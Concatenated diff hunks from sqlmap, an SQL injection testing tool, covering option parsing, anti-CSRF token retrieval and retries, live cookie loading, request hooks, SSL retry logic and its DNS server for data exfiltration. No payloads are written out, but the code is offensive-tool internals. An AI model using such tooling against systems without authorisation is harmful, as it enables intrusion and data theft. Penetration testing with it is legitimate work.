elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i])
|
||||
raise SystemExit
|
||||
elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i])
|
||||
raise SystemExit
|
||||
elif re.search(r"\A-\w=.+", argv[i]):
|
||||
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
||||
@@ -936,17 +961,29 @@ def cmdLineParser(argv=None):
|
||||
argv[i] = ""
|
||||
elif argv[i] in DEPRECATED_OPTIONS:
|
||||
argv[i] = ""
|
||||
elif argv[i].startswith("--tamper"):
|
||||
if tamperIndex is None:
|
||||
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
||||
elif argv[i].startswith("--data-raw"):
|
||||
argv[i] = argv[i].replace("--data-raw", "--data", 1)
|
||||
elif argv[i].startswith("--drop-cookie"):
|
||||
argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1)
|
||||
elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
|
||||
key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
|
||||
index = auxIndexes.get(key, None)
|
||||
if index is None:
|
||||
index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
||||
auxIndexes[key] = index
|
||||
else:
|
||||
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
||||
delimiter = ','
|
||||
argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
||||
argv[i] = ""
|
||||
elif argv[i] == "-H":
|
||||
if i + 1 < len(argv):
|
||||
elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")):
|
||||
if '=' in argv[i]:
|
||||
extraHeaders.append(argv[i].split('=', 1)[1])
|
||||
elif i + 1 < len(argv):
|
||||
extraHeaders.append(argv[i + 1])
|
||||
elif argv[i] == "--deps":
|
||||
argv[i] = "--dependencies"
|
||||
elif argv[i] == "--disable-colouring":
|
||||
argv[i] = "--disable-coloring"
|
||||
elif argv[i] == "-r":
|
||||
for j in xrange(i + 2, len(argv)):
|
||||
value = argv[j]
|
||||
@@ -979,7 +1016,7 @@ def cmdLineParser(argv=None):
|
||||
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
||||
try:
|
||||
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
|
||||
conf.verbose = verbosity.count('v') + 1
|
||||
conf.verbose = verbosity.count('v')
|
||||
del argv[argv.index(verbosity)]
|
||||
except (IndexError, ValueError):
|
||||
pass
|
||||
@@ -1008,7 +1045,12 @@ def cmdLineParser(argv=None):
|
||||
if args.dummy:
|
||||
args.url = args.url or DUMMY_URL
|
||||
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
||||
if hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv:
|
||||
args.stdinPipe = iter(sys.stdin.readline, None)
|
||||
else:
|
||||
args.stdinPipe = None
|
||||
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||
parser.error(errMsg)
|
||||
|
||||
@@ -353,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
||||
|
||||
if (kb.pageEncoding or "").lower() == "utf-8-sig":
|
||||
kb.pageEncoding = "utf-8"
|
||||
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
||||
if page and page.startswith(b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
||||
page = page[3:]
|
||||
|
||||
page = getUnicode(page, kb.pageEncoding)
|
||||
@@ -394,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None):
|
||||
if msg:
|
||||
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
|
||||
|
||||
if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
|
||||
if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
|
||||
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
|
||||
|
||||
identYwaf.non_blind.clear()
|
||||
|
||||
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
class ChunkedHandler(_urllib.request.HTTPHandler):
|
||||
@@ -20,20 +21,17 @@ class ChunkedHandler(_urllib.request.HTTPHandler):
|
||||
|
||||
if request.data is not None: # POST
|
||||
data = request.data
|
||||
if not request.has_header("Content-type"):
|
||||
request.add_unredirected_header(
|
||||
"Content-type",
|
||||
"application/x-www-form-urlencoded")
|
||||
if not request.has_header("Content-length") and not conf.chunked:
|
||||
request.add_unredirected_header(
|
||||
"Content-length", "%d" % len(data))
|
||||
if not request.has_header(HTTP_HEADER.CONTENT_TYPE):
|
||||
request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")
|
||||
if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked:
|
||||
request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data))
|
||||
|
||||
sel_host = host
|
||||
if request.has_proxy():
|
||||
sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc
|
||||
|
||||
if not request.has_header("Host"):
|
||||
request.add_unredirected_header("Host", sel_host)
|
||||
if not request.has_header(HTTP_HEADER.HOST):
|
||||
request.add_unredirected_header(HTTP_HEADER.HOST, sel_host)
|
||||
for name, value in self.parent.addheaders:
|
||||
name = name.capitalize()
|
||||
if not request.has_header(name):
|
||||
|
||||
@@ -63,13 +63,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
if any((conf.string, conf.notString, conf.regexp)):
|
||||
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
|
||||
|
||||
# String to match in page when the query is True and/or valid
|
||||
# String to match in page when the query is True
|
||||
if conf.string:
|
||||
return conf.string in rawResponse
|
||||
|
||||
# String to match in page when the query is False and/or invalid
|
||||
# String to match in page when the query is False
|
||||
if conf.notString:
|
||||
return conf.notString not in rawResponse
|
||||
if conf.notString in rawResponse:
|
||||
return False
|
||||
else:
|
||||
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
|
||||
return None
|
||||
else:
|
||||
return True
|
||||
|
||||
# Regular expression to match in page when the query is True and/or valid
|
||||
if conf.regexp:
|
||||
|
||||
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
import binascii
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import socket
|
||||
@@ -25,6 +26,7 @@ except ImportError:
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import asciifyUrl
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import checkSameHost
|
||||
from lib.core.common import chunkSplitPostData
|
||||
from lib.core.common import clearConsoleLine
|
||||
@@ -83,9 +85,9 @@ from lib.core.enums import WEB_PLATFORM
|
||||
from lib.core.exception import SqlmapCompressionException
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapGenericException
|
||||
from lib.core.exception import SqlmapSkipTargetException
|
||||
from lib.core.exception import SqlmapSyntaxException
|
||||
from lib.core.exception import SqlmapTokenException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.settings import ASTERISK_MARKER
|
||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||
@@ -100,6 +102,7 @@ from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
||||
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
||||
from lib.core.settings import LIVE_COOKIES_TIMEOUT
|
||||
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
||||
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
||||
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
||||
@@ -219,7 +222,7 @@ class Connect(object):
|
||||
try:
|
||||
part = conn.read(MAX_CONNECTION_READ_SIZE)
|
||||
except AssertionError:
|
||||
part = ""
|
||||
part = b""
|
||||
|
||||
if len(part) == MAX_CONNECTION_READ_SIZE:
|
||||
warnMsg = "large response detected. This could take a while"
|
||||
@@ -292,6 +295,30 @@ class Connect(object):
|
||||
|
||||
return page, headers, code
|
||||
|
||||
if conf.liveCookies:
|
||||
with kb.locks.liveCookies:
|
||||
if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
|
||||
warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
|
||||
dataToStdout(warnMsg)
|
||||
|
||||
valid = False
|
||||
for _ in xrange(LIVE_COOKIES_TIMEOUT):
|
||||
if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
|
||||
valid = True
|
||||
break
|
||||
else:
|
||||
dataToStdout('.')
|
||||
time.sleep(1)
|
||||
|
||||
dataToStdout("\n")
|
||||
|
||||
if not valid:
|
||||
errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies
|
||||
raise SqlmapValueException(errMsg)
|
||||
|
||||
cookie = openFile(conf.liveCookies).read().strip()
|
||||
cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie)
|
||||
|
||||
if multipart:
|
||||
post = multipart
|
||||
else:
|
||||
@@ -501,6 +528,16 @@ class Connect(object):
|
||||
else:
|
||||
return None, None, None
|
||||
|
||||
for function in kb.preprocessFunctions:
|
||||
try:
|
||||
function(req)
|
||||
except Exception as ex:
|
||||
errMsg = "error occurred while running preprocess "
|
||||
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
||||
raise SqlmapGenericException(errMsg)
|
||||
else:
|
||||
post, headers = req.data, req.headers
|
||||
|
||||
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
|
||||
|
||||
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
||||
@@ -539,7 +576,7 @@ class Connect(object):
|
||||
conn = _urllib.request.urlopen(req)
|
||||
|
||||
if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
|
||||
kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
|
||||
kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))
|
||||
|
||||
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
|
||||
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
|
||||
@@ -787,7 +824,7 @@ class Connect(object):
|
||||
kb.connErrorChoice = readInput(message, default='N', boolean=True)
|
||||
|
||||
if kb.connErrorChoice is False:
|
||||
raise SqlmapUserQuitException
|
||||
raise SqlmapSkipTargetException
|
||||
|
||||
if "forcibly closed" in tbMsg:
|
||||
logger.critical(warnMsg)
|
||||
@@ -815,11 +852,11 @@ class Connect(object):
|
||||
else:
|
||||
page = getUnicode(page)
|
||||
|
||||
for function in kb.preprocessFunctions:
|
||||
for function in kb.postprocessFunctions:
|
||||
try:
|
||||
page, responseHeaders, code = function(page, responseHeaders, code)
|
||||
except Exception as ex:
|
||||
errMsg = "error occurred while running preprocess "
|
||||
errMsg = "error occurred while running postprocess "
|
||||
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
@@ -1045,6 +1082,8 @@ class Connect(object):
|
||||
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
|
||||
|
||||
if conf.csrfToken:
|
||||
token = AttribDict()
|
||||
|
||||
def _adjustParameter(paramString, parameter, newValue):
|
||||
retVal = paramString
|
||||
|
||||
@@ -1061,65 +1100,78 @@ class Connect(object):
|
||||
|
||||
return retVal
|
||||
|
||||
token = AttribDict()
|
||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
||||
for attempt in xrange(conf.csrfRetries + 1):
|
||||
if token:
|
||||
break
|
||||
|
||||
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
||||
if attempt > 0:
|
||||
warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||
warnMsg += ". sqlmap is going to retry the request"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
|
||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
||||
|
||||
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
||||
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
|
||||
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
||||
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
|
||||
|
||||
if match:
|
||||
token.name, token.value = match.group("name"), match.group("value")
|
||||
if not match:
|
||||
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
|
||||
if match:
|
||||
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
|
||||
token.name, token.value = match.group("name"), match.group("value")
|
||||
|
||||
if not token:
|
||||
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
|
||||
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
|
||||
token.name = conf.csrfToken
|
||||
token.value = page
|
||||
|
||||
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
|
||||
for _ in conf.cj:
|
||||
if re.search(conf.csrfToken, _.name, re.I):
|
||||
token.name, token.value = _.name, _.value
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||
if post:
|
||||
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||
elif get:
|
||||
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||
else:
|
||||
get = "%s=%s" % (token.name, token.value)
|
||||
break
|
||||
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
|
||||
if match:
|
||||
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
|
||||
|
||||
if not token:
|
||||
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||
if not conf.csrfUrl:
|
||||
errMsg += ". You can try to rerun by providing "
|
||||
errMsg += "a valid value for option '--csrf-url'"
|
||||
raise SqlmapTokenException(errMsg)
|
||||
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
|
||||
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
|
||||
token.name = conf.csrfToken
|
||||
token.value = page
|
||||
|
||||
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
|
||||
for _ in conf.cj:
|
||||
if re.search(conf.csrfToken, _.name, re.I):
|
||||
token.name, token.value = _.name, _.value
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||
if post:
|
||||
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||
elif get:
|
||||
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||
else:
|
||||
get = "%s=%s" % (token.name, token.value)
|
||||
break
|
||||
|
||||
if not token:
|
||||
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||
if not conf.csrfUrl:
|
||||
errMsg += ". You can try to rerun by providing "
|
||||
errMsg += "a valid value for option '--csrf-url'"
|
||||
raise SqlmapTokenException(errMsg)
|
||||
|
||||
if token:
|
||||
token.value = token.value.strip("'\"")
|
||||
|
||||
for candidate in (PLACE.GET, PLACE.POST):
|
||||
for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
|
||||
if candidate in conf.parameters:
|
||||
if candidate == PLACE.GET and get:
|
||||
if candidate == PLACE.URI and uri:
|
||||
uri = _adjustParameter(uri, token.name, token.value)
|
||||
elif candidate == PLACE.GET and get:
|
||||
get = _adjustParameter(get, token.name, token.value)
|
||||
elif candidate == PLACE.POST and post:
|
||||
elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
|
||||
post = _adjustParameter(post, token.name, token.value)
|
||||
|
||||
for i in xrange(len(conf.httpHeaders)):
|
||||
@@ -1150,7 +1202,7 @@ class Connect(object):
|
||||
|
||||
if conf.evalCode:
|
||||
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
|
||||
variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()}
|
||||
variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie}
|
||||
originals = {}
|
||||
|
||||
if not get and PLACE.URI in conf.parameters:
|
||||
@@ -1218,6 +1270,7 @@ class Connect(object):
|
||||
variables[unsafeVariableNaming(variable)] = value
|
||||
|
||||
uri = variables["uri"]
|
||||
cookie = variables["cookie"]
|
||||
|
||||
for name, value in variables.items():
|
||||
if name != "__builtins__" and originals.get(name, "") != value:
|
||||
|
||||
@@ -45,8 +45,9 @@ def direct(query, content=True):
|
||||
break
|
||||
|
||||
if select:
|
||||
if not query.upper().startswith("SELECT "):
|
||||
if re.search(r"(?i)\ASELECT ", query) is None:
|
||||
query = "SELECT %s" % query
|
||||
|
||||
if conf.binaryFields:
|
||||
for field in conf.binaryFields:
|
||||
field = field.strip()
|
||||
@@ -58,7 +59,7 @@ def direct(query, content=True):
|
||||
output = hashDBRetrieve(query, True, True)
|
||||
start = time.time()
|
||||
|
||||
if not select and "EXEC " not in query.upper():
|
||||
if not select and re.search(r"(?i)\bEXEC ", query) is None:
|
||||
timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
|
||||
elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query):
|
||||
output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
|
||||
|
||||
@@ -76,17 +76,20 @@ class DNSServer(object):
|
||||
self._check_localhost()
|
||||
self._requests = []
|
||||
self._lock = threading.Lock()
|
||||
|
||||
try:
|
||||
self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
except AttributeError:
|
||||
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self._socket.bind(("", 53))
|
||||
self._running = False
|
||||
self._initialized = False
|
||||
|
||||
def _check_localhost(self):
|
||||
response = ""
|
||||
response = b""
|
||||
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect(("", 53))
|
||||
@@ -96,7 +99,7 @@ class DNSServer(object):
|
||||
pass
|
||||
finally:
|
||||
if response and b"google" in response:
|
||||
raise socket.error("another DNS service already running on *:53")
|
||||
raise socket.error("another DNS service already running on '0.0.0.0:53'")
|
||||
|
||||
def pop(self, prefix=None, suffix=None):
|
||||
"""
|
||||
|
||||
@@ -11,6 +11,8 @@ import socket
|
||||
|
||||
from lib.core.common import filterNone
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
@@ -27,6 +29,7 @@ except ImportError:
|
||||
|
||||
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
|
||||
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
|
||||
_contexts = {}
|
||||
|
||||
class HTTPSConnection(_http_client.HTTPSConnection):
|
||||
"""
|
||||
@@ -36,6 +39,14 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
||||
"""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
# NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158
|
||||
if hasattr(ssl, "_create_default_https_context"):
|
||||
if None not in _contexts:
|
||||
_contexts[None] = ssl._create_default_https_context()
|
||||
kwargs["context"] = _contexts[None]
|
||||
|
||||
self.retrying = False
|
||||
|
||||
_http_client.HTTPSConnection.__init__(self, *args, **kwargs)
|
||||
|
||||
def connect(self):
|
||||
@@ -51,14 +62,15 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
||||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
|
||||
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
|
||||
for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
|
||||
try:
|
||||
sock = create_sock()
|
||||
context = ssl.SSLContext(protocol)
|
||||
_ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
|
||||
if _:
|
||||
if protocol not in _contexts:
|
||||
_contexts[protocol] = ssl.SSLContext(protocol)
|
||||
result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
|
||||
if result:
|
||||
success = True
|
||||
self.sock = _
|
||||
self.sock = result
|
||||
_protocols.remove(protocol)
|
||||
_protocols.insert(0, protocol)
|
||||
break
|
||||
@@ -93,7 +105,21 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
||||
# Reference: https://docs.python.org/2/library/ssl.html
|
||||
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
|
||||
errMsg += " (please retry with Python >= 2.7.9)"
|
||||
|
||||
if kb.sslSuccess and not self.retrying:
|
||||
self.retrying = True
|
||||
|
||||
for _ in xrange(conf.retries):
|
||||
try:
|
||||
self.connect()
|
||||
except SqlmapConnectionException:
|
||||
pass
|
||||
else:
|
||||
return
|
||||
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
else:
|
||||
kb.sslSuccess = True
|
||||
|
||||
class HTTPSHandler(_urllib.request.HTTPSHandler):
|
||||
def https_open(self, req):
|
||||
|
||||
@@ -12,6 +12,7 @@ import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.bigarray import BigArray
|
||||
from lib.core.common import applyFunctionRecursively
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import cleanQuery
|
||||
@@ -126,7 +127,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
|
||||
kb.inferenceMode = False
|
||||
|
||||
if not kb.bruteMode:
|
||||
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
||||
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
|
||||
logger.debug(debugMsg)
|
||||
|
||||
return value
|
||||
@@ -286,7 +287,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
|
||||
|
||||
try:
|
||||
try:
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
for num in xrange(startLimit or 0, stopLimit or 0):
|
||||
output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
|
||||
outputs.append(output)
|
||||
except OverflowError:
|
||||
@@ -499,12 +500,32 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||
|
||||
kb.safeCharEncode = False
|
||||
|
||||
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
||||
if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted:
|
||||
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
||||
warnMsg += "a switch '--no-cast' "
|
||||
warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
# Dirty patch (MSSQL --binary-fields with 0x31003200...)
|
||||
if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields:
|
||||
def _(value):
|
||||
if isinstance(value, six.text_type):
|
||||
if value.startswith(u"0x"):
|
||||
value = value[2:]
|
||||
